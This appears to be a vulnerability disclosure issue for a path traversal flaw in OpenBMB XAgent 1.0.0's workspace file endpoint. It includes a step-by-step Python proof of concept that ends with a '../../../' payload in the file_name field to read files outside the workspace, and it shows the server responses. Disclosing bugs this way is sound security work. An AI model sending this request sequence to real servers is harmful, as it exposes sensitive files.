#434·XAgent

Vulnerability report: OpenBMB XAgent 1.0.0 Path Traversal

Author: jack2223333Created Aug 12, 2026Updated Aug 12, 2026
Labelsbug

Vulnerability report: OpenBMB XAgent 1.0.0 Path Traversal

Vulnerability summary

XAgent is vulnerable to path traversal vulnerability in file() function in XAgent/XAgentServer/application/routers/workspace.py. The input parameter “file_name” is user-controllable and is concatenated into the file path to be read without proper validation, leading to a directory traversal vulnerability that may result in sensitive information disclosure.

Affected product

Vendor: OpenBMB

Product: XAgent

Version: 1.0.0

Vulnerability component: XAgent/XAgentServer/application/routers/workspace.py

Vulnerability detail

Vulnerability type: Path Traversal

Attack type: Remote

Impact: Information Disclosure

Vulnerability Reproduction

  1. After launching XAgent, we first create a user
python
import requests
url = 'http://localhost:8090'

user = {
    "email": "[email protected]",
    "name": "user",
    "corporation": "xx",
    "position": "xx",
    "industry": "xx"

}

req = requests.post(url=f'{url}/user/register', data=user)
print(req.text)
'''
{"data":{"user_id":"c929cb68852547d9aa4f26ca453c38ad","email":"[email protected]","name":"user","token":"92fd4b90149a4ff9877e33a788a4cf74","available":true,"corporation":"xx","position":"xx","industry":"xx","create_time":"2026-01-21 15:21:05","update_time":"2026-01-21 15:21:05","is_beta":false},"success":true,"message":"Register success, we will send a email to you!"}
'''
  1. create an interaction
python
data = {
    "user_id": "c929cb68852547d9aa4f26ca453c38ad",
    "token": "92fd4b90149a4ff9877e33a788a4cf74"
}
req = requests.post(url=f'{url}/conv/init_conv_env', data=data)
print(req.text)
'''
{"data":{"id":"8005eb45f8724b4d8b4914e9c9460654","t":"1769008962493"},"success":true,"message":"success"}
'''
  1. call routers/conv/community api
python
import json
interaction = {
    "interaction_id": "8005eb45f8724b4d8b4914e9c9460654",
    "create_time": "2026-01-21"
}

raws = [
    {
        "status": "finished"
    }
]

data = {
    "user_id": "c929cb68852547d9aa4f26ca453c38ad",
    "token": "92fd4b90149a4ff9877e33a788a4cf74",
    "user_name":  "user",
    "interaction":   json.dumps(interaction),
    "raws": json.dumps(raws)
}

files = {
    'files': open('./test.js', 'rb')
}
req = requests.post(url=f'{url}/conv/community', data=data, files=files)
  1. call routers/workspace/file api
python
data = {
    "user_id": "c929cb68852547d9aa4f26ca453c38ad",
    "token": "92fd4b90149a4ff9877e33a788a4cf74",
    "interaction_id": "8005eb45f8724b4d8b4914e9c9460654",
    "file_name": "../../../../../../../example.txt" # malicious input
}
req = requests.post(url=f'{url}/workspace/file', data=data)
print(req.text)
'''
{"data":"path traversal!\n","success":true,"message":"get file success!"}
'''

After constructing malicious input(file_name), we can trigger the vulnerability and access any sensitive information.